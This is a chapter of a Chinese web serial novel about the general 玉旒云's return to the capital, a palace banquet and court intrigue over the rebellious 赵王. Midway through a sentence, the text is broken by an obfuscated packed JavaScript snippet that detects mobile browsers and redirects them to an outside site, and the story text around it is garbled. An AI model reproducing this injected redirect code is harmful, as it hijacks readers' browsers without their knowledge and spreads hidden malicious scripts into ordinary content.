玉旒云听到前一条,暗自好笑:刘子飞投靠了赵王,就算先前弹劾的奏章不能置他于死地,以后处理起乱党来正好一起杀了。然而听到后一条,尤其听到郭罡主动提出当人证,她不由惊声斥道:“你疯了么!和他搅和在一起,他一倒台,有你什么好处?皇上一定以诬蔑的罪名处置你。” 郭罡笑了笑,似乎是想提醒玉旒云,方才她还说要杀自己呢。不过,这不是说废话开玩笑的时候,他便道:“不错,他一定会倒台,不过不是立刻倒台。像这样的蠢材投靠了赵王爷也许对大人你很有帮助吧?” 玉旒云目光一闪:“什么意思?”接着又杀意更浓地逼问了一句:“你刚才究竟听到了什么?” 郭罡道:“大人不要多心,我什么也没有听到。我是在端木姑娘之后来的——以大人和石将军的武功,我要是老早就躲着存心听你们说话,岂不是早就被发觉了?关于赵王爷的事,也是我猜出来的。” “哼!”玉旒云道,“自作聪明!” 郭罡道:“就算是我自作聪明,不过猜的没有错吧?所以刘子飞不能立刻就倒台,要留着他给赵王爷找些麻烦。但是弹劾他的这些罪名也不能没有人出来承担,不如一并推到我的身上——本来也就是我出的主意。” 玉旒云真是搞不清楚郭罡到底玩什么花样:“我弹劾刘子飞的罪名要推到你身上,刘子飞弹劾我的罪名也都会落实到你身上。你究竟有几个脑袋?还是觉得刑部的铡刀不够快?” 郭罡笑着摇摇头:“我把水淹靖杨和谋害吕异的罪名都背上身,大人你和石将军之间的误会就彻底消除了。刘子飞他对我感激不尽,又信誓旦旦要和我一同南征北战,共享荣华,他一定会保我不死的。西京将有一场大风暴,监牢是个很安全也很隐蔽的地方。大人有什么事需要我参与意见的,正可以来监牢里问我,总比去刘子飞家里找我方便吧?” 玉旒云实在没想到他的目的之一竟然是消除自己和石梦泉之间的那个心结,委实愣了一下,才冷冷道:“怎见得我一定要去问你问题?” “我也是说万一。”郭罡道,“我这个人没有什么长处,就是大事上狠得下心,小事上下得了手。大人遇到疑难问题和石将军商量,恐怕商量个三五年也没有结果。我却不顾那么多道义,只要能解决问题就行。” “是么?”玉旒云暗想,他这句话说的也没错。和赵王斗争起来,有这个心狠手辣的阴毒人物出谋划策,肯定事半功倍。 “怎样?”郭罡道,“我也没有别的要求。只想事情过去后大人恢复我自由之身,余愿足以!” “刚才还说命也可以给我,现在又说要恢复自由身?”玉旒云讽刺道,“是真小人,就不要做出伪君子的模样,惹人讨厌!” 郭罡道:“我的命当然可以给大人。先前也说了好几回了——我愿替大人效劳卖命,就不知大人愿不愿让我追随左右?” 玉旒云瞥了他一眼,夜色下这人的面孔更加丑陋。她简直不敢相信自己是为了和这个人偷偷摸摸地说话竟把石梦泉也支了开。然而她又不得不承认这个人将给她的帮助是难以预计的,有一种强烈的诱惑,欲罢不能。 她终于咬了咬嘴唇:“等西京的事办妥了再说吧!” 68. 第 68 章 因为大部队行军,动作未免缓慢。到达西京的时候已是五月,玉旒云所喜爱的应春花都已经开尽了。按例,全体官兵要停在城外,等候皇帝圣旨,之后是进宫回话,还是回家探亲,就看圣旨上怎么说了。 刘子飞最希望能够立刻进宫面圣,伸长了脖子等着宣旨的人。而在玉旒云,进宫和回家也没什么大分别。她只是担心这一个月来京中不知有什么变化:庆澜帝如何了?玉朝雾皇后又如何? “对了!”她突然想起一件要紧事,赶忙叮嘱石梦泉,“我受伤生病的事千万不要和我姐姐说。” 石梦泉看看她:这一场大病真的让她瘦了很多,虽然端木槿落方子调理了这么久,她自己却不肯好好休息,所以气色依然不好,脸上没一点血色,苍白得好像透明了,因而显得眼睛特别的亮。他既愧疚又心疼:“我不说可以……不过,恐怕瞒不了皇后娘娘。还不如照实说了吧。” 玉旒云瞪了他一眼:“说来干什么!病都病过了,告诉姐姐,白白让她担心。叫你娘知道了,白白骂你一顿。” 石梦泉暗道:“本来叫我照顾大人,却累得大人如此,我的确也该骂。” “过去的事都不许提了,也不是你的错!”玉旒云道,“我们还有许多正经事要做呢,不要白花力气在这种小事上——”她盯着挚友:“说好了,不许告诉姐姐。” “好吧。”石梦泉只能这样答应,又想,林枢医术高明,得请他继续帮玉旒云调理身体……不过,林枢的身份…… 正想的时候,听到礼乐大作,显然是庆澜帝的圣旨到了。便赶紧就把关于林枢的顾虑都抛到一边,和玉旒云、刘子飞等一起来接圣旨。 圣旨的内容没有什么特别,说他们攻下东海三省立了一件大功,皇上体谅他们一路辛苦了,准许先回家探望,次日再入宫面圣。刘子飞好不失望,连一句“谢主隆恩”都说得有气无力。玉旒云听了暗暗发笑,不过又奇怪圣旨中为何不提是让她回宫见皇后,还是先回公爵府。正想问那宣旨的太监,却突然听一人笑道:“玉大人,你这一趟出门打猎,可真是去得远哪,小王可想念得很呢!”竟是翼王的声音。 原来负责传圣旨的是他!玉旒云心中厌恶又烦躁,不欲搭理。可翼王却亲自走了上来,把圣旨递给她,接机就来抓她的手。 那边刘子飞却有些不乐意了,咳嗽了一声,道:“王爷,臣才是本次东征的主帅,圣旨应该由臣来接。” 要换在别的时候,玉旒云肯定要刺他两句,这时却巴不得,立刻就把手缩了回去,道:“不错,王爷,刘将军才是主帅,这圣旨理应交给他。” 翼王好是没趣,只有走到刘子飞跟前。刘子飞领旨谢恩,而玉旒云和石梦泉也就都跟着站了起来——玉旒云抱着两臂,嘴角挂着嘲讽的微笑,决不给翼王可乘之机。 不过翼王也并不放弃,再次粘上前来:“我这里还有皇上的口谕和皇后娘娘的懿旨,让玉大人和石将军去凤藻宫见驾。” “哦,那可好!”玉旒云笑道,“多谢王爷传旨,我这就进宫去,少陪了!”说着,拱了拱手,就要和石梦泉进城。 “怎么会少陪?”翼王拦住她,“皇兄皇嫂在凤藻宫里备下酒席,小王也是座上宾之一呢。小王已经准备了车驾,玉大人赏光一起走如何?” 玉旒云冷笑一声:“多谢,不过我和梦泉都不惯坐车,还是喜欢骑马。皇上早就赐我禁苑骑马,我更加不需要坐车了。” 翼王倒不生气,笑道:“既然玉大人喜欢骑马,小王就陪大人骑马也无不可。不过恐怕石将军就骑不成了。” 石梦泉奇道:“为什么?” 话音未落,他已经知道“为什么”了——只见一个桃红色的影子从宣旨的队伍里走了出来:“石梦泉,你……你走这么久,为什么都不写封信给我?”是愉郡主到了。 石梦泉见到了她已经头脑发胀,却还不得不问好:“郡主万福,劳郡主挂念,臣实在担当不起。” “果真担当不起呢!”玉旒云在一边笑道,“郡主这话也说得真有意思——人家在外行军打仗,却为什么要写信给你?难道你做了兵部尚书了?” 愉郡主瞪着她:“为什么不能写信给我?我是他的未婚妻!”本以为这是天经地义的事,可是说出了口,又发觉是在有失身份,立刻红了脸,偷偷地瞥石梦泉,看他有何反应。 石梦泉的尴尬并不亚于她,双眼只盯着地面。 玉旒云笑得更厉害了:“金枝玉叶还没有成婚了整天追着男人跑,这可真是我大樾国女子的表率。” 愉郡主满脸通红:她知道别人在背后早就这样议论她了,可是当着她的面说出来,玉旒云还是第一个,尤其当着这么多士兵的面——这可都是她“未婚夫”的部下呀!将来她还怎么见人?她真是恨不得地上裂条缝儿让她钻下去,又更恨石梦泉这时也不出来替她说句话。正又羞又急之时,忽然心中一闪,反唇相讥道:“你不也是金枝玉叶皇亲国戚,成天打扮得男不男女不女的和别人的未婚夫出双入对,这就叫大樾国女子的表率?” 玉旒云万没有想到她会说出这样的话来,没的被气了个半死。 石梦泉看她面色铁青,怕万一和愉郡主闹起来耽误了正事,不过,想到“出双入对”心中也甜蜜万分,只轻轻碰了碰玉旒云的胳膊,低声道:“大人不要和她一般见识。” 真正出来打圆场的是翼王,哈哈一笑,道:“小愉,你怎么能这样和玉大人说话?她虽然是金枝玉叶,但也是巾帼英雄。她又哪里和你的宝贝未婚夫出双入对了?他俩是带着几万人马在外打仗呢,一出一入没有几万双也有几千对,你吃人家哪门子的飞醋?要照你这样,本王岂不是也要吃石将军的醋,应该找他决斗了?” 愉郡主撇了撇嘴,觉得翼王说得很有道理。然而玉旒云却不愿领这个情,冷哼了一声:“你找梦泉决斗,恐怕只是仗着你王爷的身份他不敢伤你,否则你哪里还有命在?梦泉,不要理他们,我们进宫去!”说着,已经大步朝坐骑走了过去。 石梦泉还要向赵酋等人交代在城外临时驻扎的事,一耽搁,又被愉郡主粘了上来。不过陈灏等督尉经历过大青河之战,都对这成事不足败事有余的郡主没什么好感,于是故意把石梦泉围得紧紧的,让愉郡主靠不到跟前。小姑娘急得直跺脚,转头向翼王求救:“翼哥哥,你看他们——你看他们——” 而翼王却急着去追玉旒云去了。愉郡主好不恼火,一个不留神,石梦泉竟也上马而去。她是不谙骑射的,委屈得差点儿哭了起来。好在忠实的娇荇早就让马车等在一旁,赶忙招手:“郡主,快上来!”愉郡主这才提着裙子跑了过去。娇荇喝令车夫:“还不快回宫!”主仆二人也就向前面的三骑快马直追而去。 没多大功夫就已经到了宫门口。只有玉旒云才有禁苑骑马之权,她想想没有石梦泉陪着实在很没意思,而且左右在皇宫里骑马也快不得,估计甩不开翼王和愉郡主,她也就干脆下了马来,和石梦泉一道朝宫里走。 玉朝雾皇后早就派了太监在宫门口等着了,一见到他二人,立刻迎了上来:“玉爵爷,石将军,万岁和娘娘等候多时啦!” 玉旒云道:“那还不快走?”边说边快步往前,还想拉开和翼王以及愉郡主的距离。 石梦泉虽然也觉得这兄妹两人实在叫人讨厌,但是装聋作哑就好了,似玉旒云这般未免太过孩子气。不过,这一次东征发生的事太多了,终于轻松下来也是件好事。想着,他也加快步子赶上玉旒云,算是跟她一起疯一回。 他二人都是自幼习武,虽然称不上是武林高手,但是施展轻功疾走,比常人奔跑还要快些,领路的太监怎么也跟不上,急得大叫:“玉爵爷,石将军,等等奴才……”而后面匆匆赶到的翼王和愉郡主更加望尘莫及。 愉郡主这几个月来没一天不盼着见到石梦泉的,真的见到了却是这样的情形,怎不伤心万分,嘴一撇便哭了起来:“他为什么见了我就跑嘛!” 娇荇看这是皇宫门口,宫女太监官员命妇往来不断,本来愉郡主就已经“恶名在外”了,这要被人看见,岂不是又要惹来闲言闲语。她赶紧劝道:“我的小祖宗,这是做什么呢?方才玉大人不也说了么?哪有还没出嫁就成天追着未婚夫跑的?别人见了不仅要笑你,还要笑石将军呢!你在他那么多部下面前让他没面子,他还不跑啊?你俩有什么悄悄话要说,也得等没人的时候,对不?” 连安抚带哄骗,好容易才叫愉郡主收了眼泪,跟着翼王一齐走去凤藻宫。 而玉旒云和石梦泉已经先一步到了。石梦泉的母亲王氏和姑母石氏早就在院门口翘首以待,见两个人满头是汗地跑过来,既惊喜又免不了带着母亲责备的口吻:“慌什么!慌什么!小心摔着!” 玉旒云哈哈大笑,一直从到跟前才站定。石梦泉故意让她几步,随后而来。 “姐姐呢?”玉旒云擦了擦额头上的汗。 “皇后娘娘和皇上都等着呢——一早就等着了!”石氏说着,前面引路。而王氏和儿子久别重逢,有说不完的话,这时却只道:“叫你好好照顾玉大人,你怎么带着她在宫里乱跑?看玉大人这一趟出门瘦成这样,现在又汗津津的搞成个花脸,你不是存心要皇后娘娘心疼么?” 石梦泉跑了这样一趟觉得浑身舒畅,把什么烦恼都暂时抛开了,见母亲责备也还是笑嘻嘻地,道:“娘,您还说玉大人瘦了,我看您倒瘦了许多。” 王氏爱怜地瞪了他一眼:“你这孩子,越大越不成话了,什么时候学得这样油嘴滑舌?先进来拜见了皇上、皇后再说!” 玉、石二人就前后到了凤藻宫的正殿。庆澜帝夫妇正在座上等着。二人正要行大礼,玉朝雾皇后已经跑下了座来:“云儿,快叫姐姐看看……姐姐也惦记死你了……”说着,眼泪已经滚了下来。那边庆澜递就朝石梦泉摆了摆手:“你也不要多礼了,今天是家宴。” 石梦泉应道:“是,谢万岁。”就垂首躬身立在一旁。 玉朝雾则拉着妹妹的手细细打量:“怎么瘦成这样?好好的去打猎散心,怎么又跑去前线?你就是闲不住,也不晓得好好照顾自己。” “娘娘……”石梦泉那边就要请罪。 然而却被玉旒云打断了:“我哪里瘦了?晒得黑了些,就显得瘦啦——你看梦泉难道不也瘦得跟猴儿似的?” “胡说八道!”玉朝雾端详着妹妹苍白的脸庞,“你哪儿黑了?不过总算精神还好,我也就放心了。”便携手拉她来见庆澜帝。 庆澜帝摆摆手:“有一个人才更应该见呢——王嬷嬷,你们还愣着做什么?” 王氏一拍脑袋:“瞧奴才这记性!”就转到后面去,不多时,引了个中年宫女出来,怀中一个襁褓。玉旒云立刻就明白了:“啊……这是姐姐的孩子?” 玉朝雾笑着点了点头。庆澜帝则道:“不错,这是我大樾国的太子。今年新年的时候已经祭告了天地祖先,母后给他取了小名叫建儿,宗室玉牒上叫元德,将来一定是个以德治天下的好皇帝。” “我看看!”玉旒云急急凑上前去,石梦泉也恭敬地走到跟前。襁褓中的孩子刚刚睡醒,骤然见到两个陌生人,立刻哇哇大哭起来。玉旒云被吓了一跳,捂着耳朵缩开:“太子的声音可真够洪亮的。” 玉朝雾笑着摇了摇头:“分明是你把建儿吓着了,倒好像他把你吓坏了一般!” “如果能把威震天下的惊雷大将军都吓坏,建儿岂不是很有本领?”庆澜帝哈哈而笑,“这里人又多又杂,还是把太子抱回去吧!” 大家先热闹了一会,才见太监引着翼王和愉郡主气喘吁吁地来了。“玉……爵爷和……石……石将军……走得实在……实在太快……”太监连话也说不整,行礼时跪到地上几乎爬不起来。 玉旒云看到翼王上气不接下气,愉郡主和娇荇脸上的脂粉都被汗水溶化了,心里别提有多得意。“我走得快吗?哎呀,对不住,我太心急要来见万岁爷和姐姐,忘记翼王爷和郡主都没练过轻功呢!” 翼王是铁了心要把玉旒云追到手,任她怎么冷嘲热讽都不生气:“玉大人的轻功真是厉害,得闲倒可以教教小王。” “可惜我不得闲。”玉旒云冷笑。 “好了,好了。”庆澜帝来打圆场,“今天是朕专门给玉爱卿和石爱卿接风的,这是家宴,国务不准提,军务不准提,武功嘛,等散了席你们慢慢商量去。朕等了大半日,饿的紧,快快传膳吧!” 既然皇上出了声,外面一早就等候的太监立刻行动了起来。没多大功夫,十数张朱漆膳桌,几十只描金食盒,了浩浩荡荡开进了凤藻宫,各色菜肴一一摆上——虽说这是“家宴”,然而皇上的家宴还是跟以往玉朝雾私下里招待玉、石二人的不同,礼仪排场一样也不能少。因此,与其说是吃饭享受,倒不如说是折腾。一顿饭吃得既拘谨又无味,好容易把所有杯盘碗盏都撤下去了,大家都觉得跟没吃一样。 玉朝雾即笑道:“瞧,万岁爷,臣妾早就说了别让御膳房办这差事,交给臣妾的小厨房多好?现在大家越吃越饿了!” 庆澜帝抓了抓后脑勺:“本来接风庆功嘛,才要隆重其事。倒没想到这么多——朕不是每天也这样用膳吗?” 玉朝雾笑道:“皇上天天这样,还不都惯了?除了您,谁每天这样花精神呢?臣妾看今天他们四个年轻人出宫回家一准还要重吃一回。” “果真?”庆澜帝看了看四个“客人”,又对玉朝雾道,“那现在请小厨房整治些点心,总可以补救了吧?” 玉朝雾道:“一定可以。臣妾做的玫瑰花酱正好可以尝尝了,又有茉莉清露茶,且叫人沏来。” 庆澜帝点头称好,道:“那现在闲着也是闲着,玉爱卿陪朕下盘棋怎样?” 玉旒云自然不能抗旨。石氏就从偏殿里捧出了棋盘来。愉郡主见了,道:“还有一副棋没有?我也想玩——”说着,把眼看着石梦泉。 “小愉,你就别玩了。”玉朝雾道,“你跟我到后面去做点心——你知道梦泉最喜欢什么点心么?我叫王嬷嬷教你,好不好?” 愉郡主一听,立刻来了精神,红着脸,道:“好,我要学。”玉朝雾便微笑着领她上后殿去了。 石氏摆好了棋盘,玉旒云和庆澜帝相对而坐。翼王就粘在玉旒云身后:“我知道皇兄都喜欢怎么走棋。玉大人,有小王帮你,一定能赢。” 玉旒云冷哼了一声,正想出言刺他,庆澜帝却道:“十四弟,你别瞎搅和。朕交你个差事去跑腿,省得你给朕捣乱——御书房里有样东西是朕送给玉爱卿的,你把它拿来,亲自替朕送给玉爱卿。” 翼王一愣,本想说这样的小事随便叫个奴才办了就好,但是看庆澜帝频频向自己使眼色,暗想:莫非皇兄是给自己和玉旒云牵红线呢?就问道:“是什么东西?臣弟去到那里问谁要?” 庆澜帝道:“用一个石青色锦盒装着的,就在御案上,进去就看到了。” 翼王道:“好,那臣弟去去就来。”边说,边凑到玉旒云耳边:“你就支撑到我回来,我一定帮你赢了皇兄。” 玉旒云根本就不理他——她和石梦泉这时都清楚,庆澜帝故意如此安排,就可以谈机密之事了。 果然,翼王一跨出门,庆澜帝立刻把棋盘推到一边:“哎呀,你们总算回来了,再迟些,朕都不知道该如何是好了!西瑶那边如何?” 在西瑶和一众人等周旋的事恐怕说来话长,玉旒云只拣当前最紧要的说:“虽然之前我们已料到赵王爷意图和西瑶勾结,但是未想到他的势力早就深入西瑶——不,其实他借着泰和商号为掩护,几乎在各地都有眼线和爪牙。依臣之见,他一定是四处招募能人异士,又暗中储备物资,只待时机成熟。” 庆澜帝早就已经急得一头汗:“时机成熟?那这时机什么时候成熟?依二位爱卿看,皇叔他何时会造反?朕可有时间应对么?” 玉旒云和石梦泉也早就思考过这个问题:赵王迟迟没有行动,究竟在等怎样的时机? 玉旒云问道:“赵王爷最近可有什么异动么?” “异动?”庆澜帝抓着脑门,“朕自从知道他有反心,看他什么举动都像是异动。这从何说起?” 玉旒云道:“万岁莫急。半个天下臣都能打下来,还怕对付不了这个一只脚都跨进棺材的赵王爷?万岁想一想,赵王爷是几时回京,又是几时发现臣和万岁的书信来往?之后做了些什么?” 庆澜帝皱着眉头,思考片刻,道:“皇叔回京是去年腊月初一。你们二人的信恰好是那前一天到的。朕立刻就写了三封秘旨,罢免范柏,下令东征,又命玉爱卿做主帅。本来次日那传信兵就要出发,但因为皇叔回朝正在城外等着接见,朕怕两下里撞上了,于是叫那士兵暂时在禁军营房里等着,待朕稳住了皇叔他再出发,想来也耽搁不了多久。不料,皇叔父子见了朕就一直追问你二人的行踪。朕几乎是赌咒发誓,说你们在打猎,才终于蒙混了过去。接风宴之后,朕立刻使人去找你们的传信兵,不料怎么也找不着。朕也不敢大张旗鼓地寻人,你们知道,已经有一个容贵妃,谁知道暗里还藏着什么人呢?所以朕只能吩咐蒋文那几个可靠的人暗地里查——过了半个月,才终于找着了,在冰窖里,死了很久了。” “在冰窖里?”石梦泉觉得有些奇怪,“莫非是特特放在那里好叫尸体不要腐坏?以西京腊月的天气,就算是随便丢在外面也会冻成冰尸,为何多此一举?而且,既然杀了人,何不索性毁尸灭迹?竟要保留尸体,甚至保留尸体的本来面目叫别人去辨认,这实在……” “这还不明显吗?”庆澜帝道,“皇叔是有意让朕知道,什么事都瞒不过他的眼睛去——会到冰窖发现那尸体,也不是偶然。那天皇叔来找朕下棋聊天,突然就说要喝冰葡萄酒——你们说,这样的大冷天,哪个喝冰葡萄酒的?也就是为了皇叔的这个要求,才叫人去冰窖里,结果就发现那士兵的尸首了——这不是皇叔向朕示威么?” 似乎只有这个解释,玉旒云想。“赵王爷这样做未免也太无聊了吧?”她道,“一切还没部署好就先打草惊蛇,露出一条狐狸尾巴叫人家去抓么?” “啊——”庆澜帝手一抖,差点儿把旁边的棋子钵打翻了,“他敢这样向朕示威,难道说他已经万事俱备?” “如果是万事俱备,这都又过了快半年了,他在等什么?”石梦泉依然被这个问题困扰。 “万事俱备只欠东风。”庆澜帝道,“他就是在等东风——不知是什么。” “赵王爷向皇上示威之后,又做了些什么?”玉旒云问。 庆澜帝道:“当时朕就怕他既然已经知道了二位爱卿意图东征,就会横加干涉,对你二人不利。不过,毕竟他这‘知道’也是见不得光的,所以他没有明明地提出来。等到刘子飞的信函送到,兵部在朝会上表奏此事,永泽公就主动请缨增援前线,但是叫朕给挡下了。” “挡得好。”玉旒云道,但心里又想:其实叫悦敏来到前线,让郭罡出条计策把他制住,就等于斩断了赵王的手臂。 “不过,永泽公和皇叔也都没有坚持。”庆澜帝道,“他们如今不再需要镇守北方,皇叔就说年纪大了,要在家中安享天年,推荐永泽公进议政处。本来议政处都是亲贵大臣,皇叔原有一席。他这样说,朕也不好不答允。所以今年新正开始,永泽公已经正式到议政处办公了。” 玉旒云和石梦泉都皱起了眉头:樾国仿楚制,不过把楚国的崇文、靖武两殿合并为咨政院,设大学士,相当于一国之宰相,而獬豸殿则改为督察院,设左右都御史,是一国之言官,百姓之喉舌。不过,议政处比这两院的权利都大,这里又叫“议政王会议”,一切军机大事都要先在议政处议论通过才能付诸实施——“议政王会议”顾名思义,能够出入这里的都是皇亲。最初樾太宗皇帝建立此制度,把追随太祖皇帝打天下的亲王们都招在其中,建立之初,的确是影响力很大。然而亲王们渐渐老死,其爵位世袭罔替,自然就由长子嫡孙取代了他们在议政处的席位。这些新一代的王爷们都有些纨绔之气——翼王就是个好例子,所以,议政处时常成了交流斗鸡走狗经验之处,所有政务全都由两院六部直接处理了。如今悦敏这样一个能干的人物进入议政处,岂不是要只手遮天? 庆澜帝看到玉、石二人的表情,知道情形不妙,道:“朕也不想。可是实在也找不出理由拒绝皇叔——要是拒绝,一时惹恼了他,不知他会不会突然发难。” 这也是一虑,玉、石二人都清楚,赵王爷的这步棋走得太快也太狠了,看来进一步在朝中集结党羽就是他现在的计划。然而,被悦敏掌握了议政处,玉、石二人以后办事就会处处掣肘——包括玉旒云的兵权还能不能抓得牢,这个领侍卫内大臣还做不做得长久……这都直接关系到庆澜帝的安危。 “朕想……”庆澜帝道,“如果能找些少壮皇亲进议政处牵制永泽公也好啊!” “这一时之间要上哪里去找?”玉旒云道,“再说,找来了,万岁能确定他们不是跟赵王爷勾结的吗?” 庆澜帝道:“也是……唉!就当朕没说过。”形状很的颓丧。 然而玉旒云却眼睛突然一亮:“除非……臣进入议政处,不就可以看住永泽公,让他不能肆无忌惮?” “啊,这倒是个好主意!”庆澜帝拍案笑道。可面色旋即又阴了下去:“以玉爱卿的功绩和地位,再往上封,就应该是封亲王了。可我国开国以来,没有封异姓王的。这……” 玉旒云道:“不是臣向万岁讨封——似乎开国以来也没有亲王之外的人做领侍卫内大臣的。臣毕竟也是皇亲国戚。非常时期,万岁可以开个先例。” 庆澜帝皱眉摇头:“朕自然是比谁都想封你,恨不得整个朝廷都叫你管了,尽快把皇叔这个麻烦解决。但是,你虽是皇亲国戚,却是外戚,朕一封你,恐怕皇叔就纠集一批老王爷们来跟朕理论——岂不适得其反?再说,你毕竟……” 毕竟是女子。这话不用挑明了。 “这有何难呢?”门外忽然响起了翼王的声音,接着才听太监报:“翼王爷觐见!” 凤藻宫里的三人都是一惊。庆澜帝道:“十四弟,你什么时候回来的?” 翼王手里拿着石青锦盒,行了礼,道:“才到门口,听到皇兄在这里发愁要怎么封赏玉大人。” 还好没听到关键!庆澜帝松了口气:“可不叫人发愁?来,先把那盒子送给玉爱卿。” 翼王应了,将锦盒捧到玉旒云的面前。玉旒云看也不看他一眼,顿首向庆澜帝谢赏,又打开盒子来看看,原来是一对上好的印石,通体雪白,但隐隐显出云纹,竟好像有人把一天的莲花云凝固住了一般。 “用来做两枚闲章是不错的。”庆澜帝道,“你立下如此大功,朕还想不出合适的封赏,就先拿这个将就着。” “臣外万岁办事是臣的职分。”玉旒云道,“万岁不必为封赏发愁。” “要的,要的!”翼王笑道,“是要封赏,不过不需要发愁——皇兄,臣弟知道怎样让玉大人异姓封王。” “怎样?”庆澜帝忙问。 翼王笑了笑:“请皇兄做主,将玉大人许配给臣弟,如此一来她就不再是外姓人,也不是外戚。以她如此军功卓著,皇兄可以开先例,封为内亲王,岂不便宜?” 早也料到他狗嘴里吐不出象牙,但没想到竟直接把旧事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728649|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重提,玉旒云既惊又怒地瞪着他,恨不得能一个耳光甩过去。 “这个主意也……”庆澜帝差点儿就顺口答应了,但一瞥到玉旒云的表情,立刻收住:“内……内亲王……这种先例也很难开吧?再说,如果把玉爱卿许配给你,那她就得在家相夫教子,如何还出来替朕做事?如今天下未定……还是……迟些再说。” “皇兄是要为了江山社稷而耽误玉大人的终身了?”翼王道,“其实臣弟这个人很随便,很开明,玉大人做了臣弟的王妃,绝对不需要大门不出二门不迈。她该上朝议政还是带兵打仗,臣弟决不干涉——臣弟本来爱慕的就是玉大人巾帼英雄,若把她变成只知道梳妆打扮并道人短长的普通新贵女眷,那还有什么意思?” “你说谁只知道梳妆打扮道人短长呀?”愉郡主整治好了点心和玉朝雾一起回到了正殿上。 “呵呵,当然不是说皇嫂,也不是说小愉你。”翼王笑道,“如果要形容小愉,还得加上胡搅蛮缠闯祸捣乱。” “你——”愉郡主本来想偶上去掐他,但是当着石梦泉的面不敢随性而为,只白了他一眼就罢,亲自从王氏手中捧过了精致的点心,放到桌上,道:“皇上请尝尝小愉的手艺。” 庆澜帝抓着筷子,却不夹,笑道:“你这是叫朕试么?朕看是叫石卿家来试试才对——石卿家,你还不快来尝一块?” 石梦泉不待反应,愉郡主已红了脸道:“万岁爷就会取笑小愉。小愉偏要万岁爷先吃!” “你做的点心朕可不敢吃。”庆澜帝道,“万一吃完了要传御医可不麻烦?朕今有旨,叫石卿家代为先尝。” 话说到这份上,石梦泉不好不遵从,只得尝了一块。愉郡主立刻如临大敌似的凑上去轻轻问:“怎么样?好不好吃?” “只要是小愉你亲手做的,什么味道都好吃。”翼王笑道。 “那你就是说难吃啦?”愉郡主柳眉倒竖,抓起一块点心来就朝翼王脸上丢了过去。玉朝雾想要阻拦,却已不及。黑色的豆沙陷儿已经在翼王的脸上开了花。玉旒云见到忍不住大笑,暗道:“恶人自有恶人磨!” 翼王虽狼狈,却也笑了起来:“哎呀,玉大人可难得对本王露个笑脸。小愉你这点心竟有此用途,快!再丢几块过来!” 大家见他那副滑稽样儿,都忍俊不禁。玉旒云虽然想要板着脸,但怎么也阴沉不住,只好背过身去。 “好了,好了,别糟蹋东西了。”玉朝雾吩咐太监宫女赶紧收拾,又替翼王洗脸。“万岁爷,宴会也开过了,棋也下了,东西也送了——云儿和梦泉那么远回来该让他们好好休息,依臣妾之见,喝了茶用些点心就赶紧散了吧。再晚些,恐怕把太子也吵醒了呢!” “啊,那可不是!”庆澜帝道,“已经什么时辰了?” “已经起更了。”一个太监回答。 “要在平时倒还不算迟,”庆澜帝道,“不过皇后说的有道理。朕看这点心也不用吃了,省得你们你个年轻人吃着吃着又打闹起来——小愉做的那些立刻包起来,赐给石爱卿回家慢慢享用,其他的,皇后你看着怎么赏吧——唯这个豆腐皮馄饨朕要留着,你们都不许跟朕抢。” 这种豆腐皮馄饨乃是南方小吃,樾国厨子没一个会做的,就算玉朝雾把配方和制法跟王氏、石氏讲了几回,还是没人能做出她那种风味,是以庆澜帝每来凤藻宫都要皇后亲自整治这道小吃给他。听皇上说出这样小孩子气的话,玉朝雾笑道:“万岁爷您这是什么话?传出去真叫人笑死了。您要吃什么,一道圣旨,臣妾这里还能短了您的?” 庆澜帝道:“这话也不错。那朕今天就留在凤藻宫不走了。” “不行。”玉朝雾道,“皇上不是每月逢六就要去吉嫔那里么?怎么能坏了规矩?” “吉嫔?”玉旒云还没听说过这号人物,担心又是赵王使的美人计,忍不住出声问,“我见过她吗?” 玉朝雾一愣,随即笑道:“你当然见过——就是太后身边的女官静襄,早先皇上还未登大宝的时候,她不是常常到庆王府来替老佛爷传话的?老佛爷赏你的许多好玩意儿也都是她给带来的。” “啊,是她!”玉旒云都石梦泉都想起了这个圆脸的温柔宫女,幼时就常和他们有说有笑,有时见到他们和别的亲贵子弟打架受伤,就帮他们包扎了好瞒着玉朝雾。想起这个宫女和玉朝雾仿佛年纪,按说早就该出宫嫁人了。玉朝雾几次提出帮她找一个好人家托付终身,但她总说要报答太后多年教养提携之恩,情愿在皇宫终老,未想到竟然做了庆澜帝的妃嫔。 “去年我身子渐重不能服侍万岁爷了,就一直想留意个好人物。”玉朝雾道,“后来老佛爷说道:‘外面选一个来,劳师动众,却不晓得安的什么心。这不现成的么——’就把静襄指给了万岁爷。静襄为人很识大体,在后宫中人缘也好。老佛爷说她是‘宜男之相’,果然才册封没多久便怀了龙裔,再过几个月就要生产了。将来太子倒不愁没人陪他玩。” 果然如此就没什么可担心的。一时太监宫女已经将点心都拿食盒装上了,预备各人带着回府。玉、石二人也就打算跪安告退。然而翼王又出声道:“皇兄,方才臣弟的那个提议你究竟看着怎样?” “什么提议?”庆澜帝怔怔的,见翼王一直把眼望着玉旒云,才想起是那关于“内亲王”的“馊主意”。“啊,这个……”他掩饰尴尬地笑了笑,“这个不是朕说了算,要玉爱卿说了算。玉爱卿手握重兵,要是朕强逼于她,那就——以前她还只能出走到东台大营,现在她可以一直走到东海三省去,那朕可就麻烦大了!” “皇上的圣旨谁敢不听?”愉郡主白了玉旒云一眼,对翼王道:“翼哥哥,不看你还是赶紧求皇上赐婚吧,圣旨一下,谁敢带兵出走的,那就是造反!” “小愉!”这时庆澜帝最怕的就是“造反”这两个字,偏偏赵王的女儿还要在他面前说出来,他面色不觉变得十分难看。 玉朝雾急忙打圆场:“小孩子家胡乱说话。快回去吧,不然你父王母妃又来催了。” 愉郡主想了想,看看石梦泉,意思是:你走不走? 她那点儿心眼儿,玉旒云还能看不出,本想就开石梦泉一个玩笑,但是转念一想,那自己岂不是落了单要应付这个讨厌的翼王?因此道:“梦泉,我看我们应该陪皇上一起到吉嫔那里去。怎么说大家也有十几年的交情,现在真正成了一家人,应该去贺她一贺。” 